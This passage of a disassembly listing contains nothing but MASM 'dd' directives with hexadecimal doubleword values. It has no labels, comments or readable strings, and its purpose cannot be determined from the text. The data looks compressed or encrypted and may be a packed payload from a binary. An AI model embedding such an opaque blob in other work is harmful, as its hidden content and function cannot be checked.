		dd 0B653F3Ah, 186C9766h, 7464A8h, 0E4A9D671h, 3095911Eh
		dd 0C805DA33h, 0D3D9822h, 5820E5B6h, 2F8F30D1h,	0EEA58D39h
		dd 55A34500h, 6C790B6Dh, 47940046h, 98CC3C1Dh, 0E60B1B39h
		dd 0E7FC029h, 979FC0E4h, 12AF0A7Ah, 5170FB6h, 40157758h
		dd 2DBB2674h, 3E0192BFh, 33FC39B7h, 14695A12h, 8053A91Fh
		dd 3A02581Ah, 6786695h,	0E7788A04h, 0C485FA1Bh,	2B125CA3h
		dd 0CC881293h, 0BE05A11Ch, 36C43016h, 5DA0B4h, 81AF2772h
		dd 46758757h, 2C68FF48h, 891CC050h, 0EF3490E7h,	0B417033Eh
		dd 0BCF78E5Dh, 0DE58C90h, 51456A31h, 4AC8B688h,	7CE4F5E2h
		dd 9E26002Dh, 0EE715178h, 0E35EDD06h, 6BA2C420h, 0AF9B0343h
		dd 0E8FCF16Dh, 8553B680h, 0EB646A04h, 78A22C91h, 0D9415600h
		dd 714BD827h, 0A1F49300h, 0CD319B2Ah, 5EF6F0h, 6E97DA70h
		dd 16E6F957h, 8088FF4Ch, 6D472DBDh, 5770001h, 49A06B8Ch
		dd 3D659A78h, 0E8A2B3F0h, 3A07B911h, 690A8427h,	97826FACh
		dd 79DC801Dh, 181EBE31h, 613D6AFEh, 54002FF1h, 66C292C9h
		dd 2DBAACDEh, 0B0A0E131h, 866A3E71h, 0AC20FA4Ah, 0F6DCB0BFh
		dd 42FE0C11h, 0FF191EF9h, 67E020FFh, 5009B626h,	0B65B100h
		dd 4CE942F4h, 4D3F5838h, 0D9150079h, 0AF6EE65Fh, 3B00C1BEh
		dd 300127BFh, 22C659Fh,	7A0BA04Fh, 4CD25828h, 0D2EB0200h
		dd 0CB3A84FAh, 1330159h, 189767C0h, 7DC020F8h, 0B5808717h
		dd 85962C00h, 9AA51394h, 1F782CE4h, 0FEA960C8h,	0C9E0FFC8h
		dd 4C7DF600h, 0BA85E2BCh, 1380020h, 0D52D3E24h,	0E314603Ah
		dd 76A8E913h, 4431B325h, 0FF880028h, 0FED24F9Ch, 200C6E79h
		dd 0B162582Ch, 0C7E148BBh, 52D7C600h, 41F4F3AEh, 0B60BDE71h
		dd 8049D0A1h, 0F7CF546Ch, 20A4A123h, 5885BC10h,	22116460h
		dd 0BD2999h, 24EC0930h,	0D72661D9h, 1AF86713h, 0B734600Eh
		dd 45109C00h, 240475F0h, 49CD0FEh, 0A3E64284h, 8F9A1780h
		dd 0D17278D0h, 0A8F900DCh, 16943DF5h, 70A8CE26h, 89007CAFh
		dd 0F3E9AD78h, 4179486h, 0E1AC8FB0h, 5C4A8084h,	0F0981671h
		dd 0D800891h, 1F6A965Fh, 2A535834h, 58FDFC09h, 3A733448h
		dd 9B7E6407h, 76B53C9h,	5C2788E0h, 0F1EDDB13h, 0D88EE64Eh
		dd 5284D56Ch, 1AF4822Eh, 0BD2C3C78h, 23403C18h,	48FDC376h
		dd 270070F0h, 2B34CF2Fh, 5F037992h, 37D39FE0h, 36D0E8EDh
		dd 7DC048FEh, 0D4019E03h, 240D1B2h, 0BD484894h,	3E93117Ch
		dd 8CE14113h, 5071803Ch, 0F496CCB8h, 0E2B56940h, 3DFE0058h
		dd 0C0276575h, 7200EE7Eh, 0D937308Fh, 0C010AF5Ch, 81609431h
		dd 143D98A7h, 3031890Dh, 739052C0h, 20678BDh, 5D88E868h
		dd 107A7CB4h, 673144h, 0C972C5AEh, 0D615122Ch, 0DC0A1C01h
		dd 34FF5DC2h, 1A0B002Ah, 5F36372Eh, 0C8C6D41Eh,	0D03C309Dh
		dd 1E44976Ch, 172090F1h, 8ED369h, 6A92816Ch, 7113470Fh
		dd 94883DCCh, 44D6005Ch, 0EF6B29B8h, 880784CEh,	0C7C3ED10h
		dd 0D1A6A440h, 67180094h, 7B6C0AD2h, 30140E58h,	583C4A8Eh
		dd 1679656Bh, 3D630C8h,	66F9E3E5h, 58A8D7FDh, 120185B2h
		dd 314E4D87h, 4197498Dh, 2CF02057h, 0F9FC2D65h,	0A0A3DD00h
		dd 0FC024AA1h, 72730AEDh, 11E46F17h, 0C9B81635h, 97685D00h
		dd 48420B80h, 0B2C188E5h, 0F08B5FDCh, 202D6F9h,	616481C0h
		dd 6028600Ch, 97D9001Dh, 36137A65h, 883D5130h, 8D9180EEh
		dd 8387A006h, 4617305Ch, 157E22D1h, 0F0D0CE00h,	8F496D70h
		dd 0E932EADh, 12B808E8h, 1A990B7h, 0D0C6822Ch, 0BD25ED0h
		dd 8F17E1DAh, 54B1C10h,	48B68D00h, 0B7477EB0h, 7FBF2694h
		dd 23E90084h, 8FAF1A9Fh, 5D516F1Ch, 42261402h, 891854EEh
		dd 0B8486AF4h, 54F0292Ah, 7C58AEB8h, 0AEEE7004h, 2C58A8E8h
		dd 0A02D9Ch, 0C0FFA1A0h, 16372E66h, 6CF840D8h, 9A0104BCh
		dd 0FA905365h, 14328CD0h, 0E063BE00h, 0EA649C61h, 806FBA25h
		dd 0F4949F0Ch, 357000E6h, 0B8DABF5Bh, 302C1FCFh, 134F30C5h
		dd 0D2173830h, 37303AEh, 618791DEh, 9FF53097h, 37001DF7h
		dd 0A8B174FFh, 9C093DBEh, 805217B4h, 0B4957FFCh, 3426A22h
		dd 0CC7662C3h, 6BF84F13h, 9601A174h, 3EA9E838h,	582C0632h
		dd 1494CD0Fh, 0F4ED4284h, 0E90EFFB0h, 80989972h, 0C1BFAEB0h
		dd 0A26527D0h, 0BE2E3C23h, 64ADB598h, 53125802h, 64172383h
		dd 8331E4Ch, 0D45EC7CDh, 9B6F3297h, 8778E458h, 0C45A7925h
		dd 0CED90E14h, 48EB2ECFh, 8D5D6402h, 0DAA5EC82h, 0D6806460h
		dd 86E97F13h, 88C04827h, 4A67C2Ah, 5D10351h, 715480E0h
		dd 64285CADh, 611254A5h, 1BACB6A9h, 0D32A7B1Fh,	0B8D424B5h
		dd 0FDB482B4h, 1D9E8419h, 0DC00A4B2h, 809BB6A3h, 0A8796EBEh
		dd 0FBB7170Fh, 65055C9Fh, 0B837FF05h, 0CDAD9CA0h, 0FEE100F5h
		dd 4A3052A6h, 0AE02C611h, 5E2B32EBh, 0AD3440C5h, 3C169531h
		dd 2398E00h, 0FAD0B885h, 0E4C148ADh, 41283B22h,	301358EEh
		dd 0C8882FCAh, 9CE75C70h, 37FF0F08h, 67B1EC81h,	8EC453FDh
		dd 45A7061Dh, 0C8FF72DFh, 10882095h, 23D1B9h, 42568CB6h
		dd 0D778744h, 0F0973E6h, 70059E54h, 3AD23970h, 887800FFh
		dd 0BDB02F07h, 45E4D0E7h, 0AD8BA9A0h, 6D14EC03h, 0A8E63F5Ah
		dd 287FF36h, 3213FE82h,	80596FAAh, 0D3B76100h, 120AAF89h
		dd 0B12F68E2h, 0B1900030h, 4D01FC9Fh, 2B1D32B0h, 1C32A364h
		dd 88F02Ch, 0D3722FA5h,	1D152CEEh, 28C238Ch, 0F5EDBEDBh
		dd 3544C0CFh, 975C79F1h, 63AFCA1h, 0BDC9E02Ch, 0AC704D5Bh
		dd 0B0DC7E76h, 24794F70h, 804CB83Ch, 27FE37D2h,	133E700Ah
		dd 243A910h, 0BC645114h, 8C8074D9h, 0A06DF95h, 52430466h
		dd 0B2C43038h, 0EFBD039Ch, 846D0EA8h, 120324C0h, 974228FBh
		dd 0FEFF2548h, 3C0540Ah, 64271B11h, 4F3CE28Dh, 0F8977023h
		dd 7B19CEBh, 421133F4h,	16479043h, 6CB0BF9Dh, 26355C00h
		dd 0E49E756Dh, 28489CF0h, 1D5F00B4h, 2A109271h,	1896320Fh
		dd 0C6503440h, 4C190046h, 0CE5A3C43h, 4F090117h, 4A189F7Eh
		dd 0F2E0E424h, 7312668h, 0B294039Fh, 2CF89DFCh,	48000CE6h
		dd 0B1DA8A87h, 7934E16Dh, 0D63029Fh, 0FE616A9Eh, 8088D041h
		dd 0C36EE91Eh, 0B006274Eh, 970CA0E8h, 0FD72047Fh, 0F4883037h
		dd 0C8C50204h, 0D0F2CE85h, 918C9201h, 72644869h, 0FD2C1764h
		dd 27177501h, 0F4D0992Eh, 0B0EA0188h, 78A3FB5h,	5700203Eh
		dd 156B1C00h, 0A6C17C6Dh, 45B8A1E6h, 3C0709h, 2FF31971h
		dd 20B6652Fh, 6487C5F0h, 20475B69h, 74D27628h, 8CE38h
		dd 19231B55h, 7CC6682h,	2215B0E1h, 4409AB61h, 8A73C80h
		dd 0F0C20F3Bh, 54F1878Ah, 33EF4074h, 0F500E0DFh, 10BF86FCh
		dd 4CEAAh, 0F4AD621Fh, 6E7231F2h, 472C2500h, 44CC1297h
		dd 87941554h, 7E80EC81h, 0ADB24167h, 653A8001h,	9F77F266h
		dd 31AFCAD4h, 8780B8F4h, 8CA0F69Eh, 2F53A185h, 264808B8h
		dd 5CAC0F48h, 483013C1h, 0E74029Eh, 0BEB4A7A5h,	0F96A020h
		dd 455BBA65h, 52E1E822h, 1AF403F0h, 185FF9D0h, 685C8F82h
		dd 0A96A1584h, 0BF018E80h, 0C2D89066h, 13940F90h, 0ADE0B8C6h
		dd 5CC228B6h, 9CD45EB6h, 25E4E418h, 610CECE4h, 21625794h
		dd 0C7440129h, 0C62EEA6Ah, 0C982F87Ch, 0B65F430Bh, 0B1548560h
		dd 69F82099h, 0B8909DA8h, 8EECD9E1h, 80FE6B3Dh,	2869C2B8h
		dd 0E89FB6A4h, 2C312512h, 8F0FC0C4h, 4E64208Dh,	7335A73Bh
		dd 6E1071B0h, 14831317h
		dd 1B4B2E6h, 7985D0FBh,	95E80108h, 0AAB400E8h, 752C0462h
		dd 0FA01BC0Dh, 0A79E0AD1h, 0EC707FE4h, 2ED50072h, 6B52F30Eh
		dd 604A6F73h, 7A138C8h,	25024663h, 923142C7h, 0D40A207Ah
		dd 0B02D88F9h, 6327023Ah, 845B9E64h, 0D0A8B87Ch, 0BC803088h
		dd 0B30EDA5Fh, 426600B4h, 631E02F4h, 0B98C015h,	79E00C48h
		dd 0C15D8813h, 0D030A425h, 0B6809F5h, 0B85CE157h, 0EC18B412h
		dd 45F8EAC6h, 82E20938h, 7AC0E0E7h, 5D3CC134h, 387C06F1h
		dd 2DC8173Dh, 0E19E9F0Ah, 32AC1F8Ch, 707CC854h,	0B6894F00h
		dd 22098C06h, 90003D8Fh, 435E704Ch, 9E4FFF4h, 355F76EDh
		dd 41877401h, 801828F1h, 99864C0Fh, 40680965h, 2838B05Ch
		dd 0C18AE642h, 9C505CDCh, 0C4F480h, 0A48258F3h,	61921DEh
		dd 0E71D6000h, 70A4D11h, 127D7394h, 80013104h, 0E73E0C14h
		dd 84C88F4Ah, 847BCEh, 961C4206h, 3408F06Ah, 69581630h
		dd 7E8470Dh, 0A9F9204Dh, 96F330C5h, 260171F1h, 37AC7C70h
		dd 0B4691768h, 1A25970Bh, 7AE96A80h, 3102C930h,	0BBF31EBAh
		dd 4CCC760Eh, 0F7025A26h, 38C0743h, 0B81EC062h,	4698006Fh
		dd 0D7C87BCh, 17094C01h, 0A0FA272Eh, 1F602FD0h,	2248039Eh
		dd 0A0680767h, 4B188085h, 18B52C4Eh, 9F093E14h,	222EA490h
		dd 6EEC031Ch, 85EE09h, 0E7FBA3AAh, 0AF640997h, 3498E242h
		dd 0B03C969h, 3A71B710h, 18D7E893h, 0A3B90060h,	6D2E3BAEh
		dd 5C2DD5B4h, 0A09CACB3h, 275D00E6h, 50BE2E3Ah,	4D07999Fh
		dd 411271A4h, 0ACE078D4h, 30AC26A0h, 69ED0238h,	78638F89h
		dd 29B79E1h, 35012324h,	2086ADEBh, 40FEB725h, 0B284BCC8h
		dd 23324EDCh, 58169F8h,	0F9D0E759h, 0D707EB16h,	0EA08CF86h
		dd 87309B40h, 164CB8A7h, 82EC002h, 618B493Ch, 947049B4h
		dd 1BEEC60h, 78186DB5h,	301E3B76h, 101D28CCh, 0E94752CFh
		dd 5C0560C1h, 0A3651C45h, 0D02C8CA2h, 5B5A115Ch, 8E452420h
		dd 97AC18DCh, 0E524B239h, 0DFA76800h, 0E0762934h, 7B2613F1h
		dd 2C901306h, 8004E88Ch, 35BA93B0h, 300F70E2h, 604F13CEh
		dd 0B3583123h, 27420BC0h, 90A86BECh, 5709E17Ah,	802883AFh
		dd 0F0ACE4B5h, 0FE1A14BAh, 0B00506Ah, 2E26685Eh, 30C0A9Dh
		dd 0E6B5E021h, 0A4C50214h, 0A637D86Bh, 0A78F5056h, 0A894B7h
		dd 0B6EC650Dh, 12C27DEEh, 373AB5h, 0AE68BF04h, 0A74ECCD1h
		dd 0F2A60C8h, 360EE0F7h, 72CD2787h, 0C055D6A4h,	17D7829Dh
		dd 61B865D1h, 7CBF1EF8h, 0BC772864h, 269DCB4h, 291EEC14h
		dd 0C957C984h, 0E430F98Ch, 0A807606Bh, 65192886h, 2E62482Ch
		dd 0C030CE1Ah, 0BD6460CAh, 87000C91h, 283AE688h, 0FF2706CEh
		dd 2E1B6DE9h, 700075Ch,	0EC585B8Bh, 837468DBh, 0C6B2007Ch
		dd 3B91A2B1h, 9F076E96h, 6CE38184h, 58B00835h, 3194133Ch
		dd 0FF20D08Dh, 17332732h, 460FBDh, 7ECCD919h, 859DE928h
		dd 0F5A02F00h, 0CEE87454h, 0BB5B3820h, 6427040Fh, 0D1327222h
		dd 110004C6h, 0B66284C0h, 4747D92h, 3379EDBh, 79CED17h
		dd 56D6BDB8h, 0B0EB6FB0h, 7FA700E4h, 3F088BFDh,	0F0FFA19Eh
		dd 435B7A1Ch, 84A81C24h, 0D9D28D82h, 0D8385760h, 0E20F05EEh
		dd 96806164h, 0C66AB830h, 6C7046h, 411C7EA2h, 89F26E82h
		dd 0C4C4CC24h, 0EF7E87C0h, 0EB790998h, 0FC006FF9h, 0A0D361B4h
		dd 9E2AD272h, 8C392C19h, 93B2006Fh, 0A35B6805h,	178500CAh
		dd 69E51F43h, 710220F3h, 65C01238h, 0CC8593Ch, 9F3A46EBh
		dd 0B6646A12h, 0D1E5DC27h, 0A3AE3040h, 95DA8Ah,	22A7C31Eh
		dd 0E6DEE2B4h, 0E8E49800h, 0D66C027h, 0DD1CC09Eh, 97426BB6h
		dd 6451406Bh, 6D790704h, 5068B08Fh, 0A1272177h,	7F6F9400h
		dd 45D09D75h, 987CFC6Ch, 1F1720E0h, 0A0673501h,	0FFCF388Dh
		dd 553C406Bh, 69AAF34Dh, 0EB3D102h, 0D2164939h,	20B4000Ch
		dd 0DEBE01EBh, 69055D7Dh, 0B59D56ADh, 9F5E2080h, 415F0093h
		dd 672CA2D5h, 0C02EAC53h, 38C01Eh, 95469A9Eh, 72AF6E60h
		dd 0E33B1284h, 3F90F20Ch, 9FE438FCh, 13B99FC6h,	54083FA2h
		dd 2CF8A612h, 53BA6034h, 5401D974h, 3A0EC9A8h, 0BF602DC5h
		dd 3CBE0B4Ch, 74597132h, 517D3300h, 2EB3EEC6h, 7F72C5Dh
		dd 5211267Bh, 0D4845CBDh, 0B8A45D5Eh, 10382C40h, 0EA8F00E0h
		dd 7FAB51B3h, 0A00C126Ah, 0F831D32Ah, 2A80378h,	7A27670Ah
		dd 52870590h, 9200DB7Ah, 0C0B0AD85h, 99B7647Eh,	0BE5760D8h
		dd 6E0022AEh, 48028ED2h, 0C1231Eh, 0BC7B55E3h, 0A7CD661Ah
		dd 9A560900h, 77413B3h,	4BB94A5Ch, 70443464h, 35638600h
		dd 0B8C65915h, 0A95C0EFEh, 0C185FFB9h, 6718007Bh, 0E22DAD3Eh
		dd 251018B5h, 4CAA0623h, 0D2E83AC6h, 0C715BC02h, 0C01E38D6h
		dd 0E0896138h, 38175034h, 2FF80343h, 72C1ADF2h,	0B4AF1A98h
		dd 22149E4Dh, 1DDEE234h, 98EE6Bh, 23ABD616h, 0FB00EA30h
		dd 53DB699h, 2FB2BA8Eh,	0D444C031h, 0E49C5202h,	60789406h
		dd 2D660A04h, 24C4A3F8h, 685A9600h, 916385Eh, 0E89817A5h
		dd 0F5B5043Ch, 8434AC07h, 80EE6A11h, 9349F628h,	0BC85FD07h
		dd 7E64F319h, 149953C0h, 0FAB52603h, 263911F4h,	23F10EEh
		dd 6508BC38h, 0E444BAh,	3188BD2Ch, 4E0E7851h, 0F04B348h
		dd 60562B60h, 3658FF9Fh, 89392530h, 3C516062h, 0E3F58600h
		dd 78005D9h, 5678EC3Eh,	338EE06Eh, 0ED00B1E8h, 4D8792ACh
		dd 48D5D31Bh, 89C0F436h, 7C31600Bh, 0CBA2C402h,	0C0924DCAh
		dd 7C5D363Fh, 0FB080397h, 7FB05CC2h, 18C8714Bh,	0F2B7018Eh
		dd 3DE5A566h, 72372054h, 0CF221A24h, 1115043Ah,	9CB849D2h
		dd 0EDF14181h, 70AEE9FCh, 6164CA8h, 0BC052389h,	90010AA5h
		dd 410805A7h, 2346070h,	770669B7h, 14D1460Ch, 8049BE3Dh
		dd 0F103B481h, 7711929h, 0F94A6CD6h, 42170132h,	4B062EDh
		dd 1CD131F4h, 0F0206C8Ch, 0C37103BEh, 5C0C72DAh, 30CA2BCh
		dd 1E59D56Fh, 621822E9h, 0E8474896h, 55865060h,	2947C29h
		dd 1A5F01A0h, 0E879C030h, 92FB7E30h, 489E013Ah,	0BCA2AB88h
		dd 60412A57h, 9175E93Ch, 5C307BC4h, 8C1F2B78h, 0D5B640A4h
		dd 5B653564h, 0E216601Fh, 0F25FD981h, 0C864D0D4h, 314D2F56h
		dd 710020C4h, 3BEE5727h, 292089E6h, 24D4E242h, 0D88460B8h
		dd 73009986h, 4CE523FFh, 17E07755h, 134D005h, 0FE15BE18h
		dd 20409127h, 0D7949F1Eh, 38BC0837h, 0D2B2A780h, 167E50D7h
		dd 29DB539h, 3ECF9AA4h,	4212F4E6h, 0FF00136Dh, 3C7C63DEh
		dd 471C17ACh, 7A680B16h, 30051C5Bh, 0CBC5F51h, 195B3AC0h
		dd 0A80105BFh, 0AEC44585h, 0B476A064h, 0A1CDA408h, 4FC0A947h
		dd 29F9D440h, 3C86A62h,	72ACB281h, 95BDFEE8h, 3CA1AA26h
		dd 4CA38660h, 42340427h, 0F9FF561Bh, 0C18800F0h, 0D45B3762h
		dd 0C46E1DB2h, 1D520090h, 7DABC93Fh, 0C13B8F30h, 59FDF4h
		dd 0A1BEF20h, 0ADDEE755h, 61243D0Bh, 499410B5h,	0AC059D06h
		dd 0A2D0C710h, 5480FF22h, 1BFA5F7Bh, 4420E42Dh,	6B9F00FCh
		dd 39FD559Ah, 99725B26h, 4244A00h, 0DE3FE685h, 5EF704A5h
		dd 0C00ACA4Ch, 8CBFB0B0h, 20EFFA00h, 0D47892EEh, 5C5E7D93h
		dd 692E2349h, 0E7890504h, 0D98801E6h, 0E4872DF9h, 1A240944h
		dd 77408857h, 10BECBh, 6F34F2EFh, 0B85CF436h, 249C20D2h
		dd 88094E2Fh, 8800F318h, 0F360B7Bh, 147822A0h, 0BCE538B5h
		dd 0C8C5BDC0h, 0A3005DDEh, 0D1158A71h, 342F51h,	2A5CE269h
		dd 36670D64h, 44277725h
		dd 0EB7C0128h, 0CA31DDB3h, 436FF40Dh, 48D5EE07h, 2C0115BDh
		dd 329042h, 98B51Eh, 68222D55h,	272D263Fh, 344467h, 163CCEA4h
		dd 0EDEE8DFAh, 730E0500h, 0C0E1592Eh, 0FF4B77h,	4112D9F8h
		dd 0EF893A93h, 2E6DC4Ch, 0D9F4BD6Fh, 0E4C8053Ch, 0CD587177h
		dd 0EF66C030h, 0AC1801h, 8741D522h, 0F6C811B4h,	8CCFC508h
		dd 10CC8038h, 7F01F99Dh, 98FE0729h, 219EE280h, 3045432Dh
		dd 7569FAB2h, 0E1CA84Eh, 91B2CA30h, 0F5C84063h,	0AAA0A02Bh
		dd 0FF372E95h, 0F87960CCh, 49F021B1h, 2342F58h,	5849F35h
		dd 1CF4C837h, 808491FFh, 0C001C120h, 0DE1DEF5Bh, 0E992A992h
		dd 0EE30F101h, 3881BF5Eh, 0E369D92Fh, 9F2830E8h, 1AB6971Fh
		dd 0ECC81912h, 64E6078Bh, 0CF024B14h, 2CDF29E0h, 0BC2435C1h
		dd 8709449Ah, 7A78A00Fh, 9920EA43h, 647F8410h, 0BF00D89Eh
		dd 9FA45B0Bh, 4D9081DEh, 10385934h, 78C09E8Eh, 0A156E9DBh
		dd 0C293BD07h, 710035FFh, 18F2171Ch, 70FDD906h,	0CC9028D6h
		dd 1E5C7530h, 0FCE3A79Eh, 0D4580095h, 679A8097h, 89016964h
		dd 27D687AFh, 92C0C9BEh, 2A68EA52h, 12F72ABAh, 307DE6D0h
		dd 9FED2710h, 0CF171201h, 0A6775102h, 0B4BABC70h, 0B0896520h
		dd 2202B1B4h, 46510134h, 20DC746Ch, 64F8F1F0h, 2B891A5h
		dd 2076BD61h, 0DE90180Bh, 0CF2700F7h, 0D1C796F5h, 1E007169h
		dd 67943FA9h, 29F5A80h,	9BA07F32h, 80528673h, 0F1077670h
		dd 53594BF9h, 47C0CFBFh, 65429051h, 0C0DCD664h,	5848528Ch
		dd 10D82095h, 77183D0h,	0D924D1A2h, 90B8756h, 5F18D471h
		dd 0BF1FE0h, 26DCFD08h,	0B9021985h, 97922212h, 62DABA1Ah
		dd 507056A4h, 8E0BDFE6h, 9E9766ABh, 0C8FF4FD4h,	701EEA98h
		dd 10C72811h, 0ECC0502Fh, 13089291h, 90C63169h,	0FF76A364h
		dd 14C80F5Bh, 133F70CDh, 1506E89h, 0C58CF55Ah, 98A82086h
		dd 0C0CC1095h, 9DBA02B6h, 0BFCB60C7h, 7A057CDEh, 8CE01FFAh
		dd 7EC02615h, 6B8502B4h, 0D3E06968h, 18016036h,	5C9B9520h
		dd 51937AB9h, 1214208Ch, 7D00A47Ch, 0BD2DAB1Ah,	2C770AEEh
		dd 7FCAC7h, 0A8E92635h,	225F55F3h, 8B1AD80Eh, 808844EAh
		dd 4AEBCEF0h, 806C80C3h, 3B1285AFh, 6CA8B861h, 52D998C0h
		dd 423ECB5Bh, 3A405193h, 156F8C01h, 40AF51A9h, 29096864h
		dd 80BB6D77h, 0FFF9653Eh, 49071F0Dh, 1FF70089h,	83392870h
		dd 40441890h, 90B74F61h, 50EB567Ch, 0E82DA726h,	7EB4D860h
		dd 90D91E45h, 8DC9439Dh, 64A039C2h, 0E09C1636h,	37792285h
		dd 0C2F9C80h, 0A7052ED5h, 0C1B560CCh, 2C04D485h, 8C7B9F5h
		dd 5C5C08Ch, 0CD517DF1h, 84E2BBh, 0AA865DEh, 0EC384D34h
		dd 48C63A36h, 8B07319Eh, 0D8983226h, 74004F41h,	8B11CDE3h
		dd 1FE9DCA7h, 0D7CBE7BBh, 5048A3D8h, 0ECA4B2ECh, 340D8BCh
		dd 0F11A276h, 18FF38D4h, 0E2DFD6C0h, 3701D9D8h,	8592F06Bh
		dd 0C07AE5AEh, 0C3979E2Eh, 0CDFFF30Eh, 7213CF64h, 227BC0Fh
		dd 0E3F40CC6h, 4C0788D8h, 50A3127Dh, 0A0E263h, 0FD427C7Ah
		dd 0B88E017Bh, 6C2545E8h, 10352F30h, 0CE451Ch, 38F7A854h
		dd 7F499DD3h, 67691E13h, 70DEA0Bh, 209C2CFh, 66955F3Ch
		dd 17CB5CB0h, 538B1900h, 7513EE96h, 0C5D4D600h,	0D7AD294Ch
		dd 33FA0418h, 0E27A43D0h, 12830010h, 6B969A58h,	0CC75038Dh
		dd 0A0A443B7h, 2E46E688h, 54806899h, 0F399BA3Bh, 0BE37248Eh
		dd 0E5D00133h, 0E419A4D4h, 42C902Ah, 78020068h,	0D12C1D85h
		dd 2F8101A8h, 84F73C77h, 0E8A1C604h, 370064A2h,	0B4F3B6D7h
		dd 8B0C9C8Eh, 480149BAh, 90FAE6C2h, 3F35458Ch, 772C5020h
		dd 25D8007Eh, 2A42B4BDh, 347A6A7Fh, 89F91102h, 611F715Dh
		dd 5103764h, 68F87997h,	50993351h, 0EC6DE9B0h, 0B0225900h
		dd 9BB47288h, 87073D36h, 61D05730h, 7CF03F8Bh, 0EC884C5Fh
		dd 2B250F16h, 4B608C75h, 50F43F60h, 711EEB02h, 41954FDBh
		dd 4420EEFCh, 0FE348861h, 7DA3311Ch, 0F8CCDFD7h, 1E70B881h
		dd 50D6B5h, 54CED69h, 3412FF35h, 8470C73Ah, 68B9A9h, 0CE779DDEh
		dd 8DC47F1Eh, 0E12CDB7Eh, 800560BBh, 28C1A998h,	72B7A4Dh
		dd 8E2FE8h, 0BD5B7687h,	34C2A25Ah, 88946095h, 403894FBh
		dd 9D14312Ah, 98928631h, 0D1DC35A7h, 0EE0F78F9h, 0FAA42CACh
		dd 0D3A60930h, 5226F466h, 0F912749Dh, 804064B8h, 1BD2DA9h
		dd 84805090h, 0ADEAA807h, 55C04151h, 14E0770h, 0BA2B74DCh
		dd 7D2820EEh, 0CDA1C0ECh, 611BC0Ah, 64A0BFBEh, 5216D89Ch
		dd 2808DA30h, 905A970Eh, 0DE07B1F0h, 9A190D00h,	9B8ECE7Eh
		dd 0D2F009h, 5993B64h, 0BCBE2D39h, 0F007084Bh, 2F849D5h
		dd 31D64389h, 0CF40E85Eh, 4CB6737h, 6A45E7ECh, 0F07A403Ah
		dd 2F9ED3DBh, 3C81656Bh, 485A68E1h, 0EF03AFD8h,	0D8C104C7h
		dd 56E5E89Bh, 58AB0F9Ch, 6F7F22Ah, 0D02B15A1h, 9F85893Fh
		dd 61185C2Ch, 0C328F941h, 23A18158h, 0E09ABEE1h, 262DF071h
		dd 0E51468FFh, 0CEF80062h, 734AD513h, 4005E8Ch,	0B59D2448h
		dd 1B7525Fh, 0B6A72F2Ch, 213044B8h, 4F6EE00h, 0C4A9BF40h
		dd 728709B2h, 0E0507B5Fh, 4D28CE63h, 0D51F99D9h, 22E9420h
		dd 4E2842DAh, 988B055Eh, 0DF4D103h, 5087A800h, 30376731h
		dd 0B8AA958Eh, 0B2EF6330h, 7EA879C0h, 0F6EE90Fh, 1FBE644Fh
		dd 0D3808CA8h, 26F6DDEh, 0FC777100h, 6AA3650Ah,	645634A6h
		dd 2F90F890h, 51B480F7h, 0E3265D0Bh, 0E11C207Fh, 0E4009EE5h
		dd 0A84BF4B1h, 21202B5h, 5C939892h, 34226ABDh, 4CFC7830h
		dd 5766D9Eh, 0F9046E63h, 2D78EC5Fh, 0C86472h, 3318207Dh
		dd 0C132AC98h, 76AEA903h, 0C908B790h, 0F316D59h, 9C00BC32h
		dd 8F91EF27h, 9709C358h, 81CB7431h, 0EAFE7E2Ch,	1678206Bh
		dd 0ED0B1A05h, 859904C2h, 1494245Bh, 0D70094A2h, 0D1F07523h
		dd 9A008B96h, 0B0F749B5h, 0E6AA773h, 6751314Ah,	8B3276Eh
		dd 9E80229Ch, 0C123D54Dh, 0B9BE2506h, 9509040h,	0CCA295Ah
		dd 6CD1FFC9h, 0A42C8800h, 0E04E6D22h, 0D1D91F37h, 764F8399h
		dd 55C01C15h, 6BF7E411h, 3930CC20h, 0D7D40404h,	0C03868B5h
		dd 5D3A4FF0h, 84FC2751h, 3B434D10h, 416816AFh, 5CE37DB0h
		dd 30208471h, 0C4B212FFh, 29E9E100h, 60419AC7h,	31407F61h
		dd 336044DDh, 0F24300FFh, 7E73E75Ch, 0F4BFE25h,	358078A3h
		dd 7BC42F02h, 4E8C4307h, 7A80B4DEh, 61F79DCAh, 671E8076h
		dd 0FE32CC53h, 3009B0DEh, 0F2F46BDFh, 0E4C60Eh,	8E934AEAh
		dd 0E281132Ah, 6E49E71Fh, 56BC74C0h, 121EC663h,	218831B7h
		dd 39E84128h, 38275ED8h, 565B9750h, 36812DCEh, 93007844h
		dd 6820B1B8h, 1FDA9EFAh, 405BC585h, 0C262A713h,	642F67D6h
		dd 509090A3h, 74BB099Fh, 4C183416h, 380136EDh, 0CC11D0C7h
		dd 93ED5D25h, 0E1CB6F01h, 0E0882B27h, 4B6004Eh,	0AB3C5266h
		dd 2200F508h, 0C95B23DBh, 12E3400Ch, 85B9217Eh,	65DC80D0h
		dd 0F071A96h, 350A1933h, 8C838209h, 6BC0FF63h, 0D316F47Dh
		dd 0C000F86Dh, 0BA5C1081h, 4480BC74h, 0A4D7405Dh, 7B86DB4h
		dd 0E091519Dh, 0C0F2350Fh, 0CF9B6032h, 0CA646B3Fh, 0BA7A4C8h
		dd 13FA2DFFh, 0A33E18C4h, 0F67D00CEh, 0A463B69Bh, 97700040h
		dd 0C68601B9h, 30BCBA34h, 69AFD660h, 41C701E0h,	0DA964449h
		dd 957CF42Ah, 8161CA1Fh, 0F051AB0Bh, 0E8B051F4h, 0C61C283Eh
		dd 7ED92B00h, 0A27115F1h, 4C020963h, 0D40081E3h, 35011B2Dh
		dd 0F40FBF24h, 22867504h, 0C3298F40h, 0EA014388h, 4272A1B0h
		dd 4230151h, 5C358E0Bh,	88FDFE80h, 770043E7h, 55289ADAh
		dd 2450FF7Bh, 4F78EA41h, 0F419FA09h, 29A06A53h,	0FAC998DDh
		dd 127BE866h, 88FE3ADBh, 13001610h, 0BD65A8CFh,	902156C6h
		dd 187204AFh, 0FC0E6D5Fh, 65240170h, 33C4303Ch,	80608015h
		dd 2094D2D5h, 7FF4C240h, 3BDF0050h, 3F075BBCh, 0C7009EE3h
		dd 0A7256B2Bh, 9A396F11h, 0DA142F04h, 7400C8C4h, 7E0BE647h
		dd 162E3577h, 629BEh, 3AD5AA1Ch, 0E22FBACCh, 94F4C1EBh
		dd 7D16C0D2h, 0B60E812h, 0FE0EDB99h, 0E775C485h, 8B7826A0h
		dd 0E44AD400h, 687307h,	0C1D05D79h, 0EA8B46C7h,	8EB0BE00h
		dd 2366E53h, 4A089806h,	6968C887h, 0CF7C9900h, 3E41ED7Dh
